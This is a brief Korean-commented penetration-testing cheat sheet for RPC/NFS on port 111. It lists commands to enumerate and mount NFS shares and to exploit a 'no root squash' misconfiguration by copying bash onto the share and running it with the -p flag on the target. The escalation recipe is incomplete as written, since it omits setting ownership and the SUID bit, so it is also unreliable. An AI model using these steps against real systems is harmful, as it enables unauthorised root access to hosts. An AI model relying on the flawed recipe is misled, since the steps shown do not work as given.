111 - rpc

# 쉐어 목록 확인
showmount -e <IP>

# 쉐어와 마운트
mount <IP>:/<Share> /mnt

# no root squash 악용
attacker-system > cp /bin/bash /mnt/
target-system > ./bash -p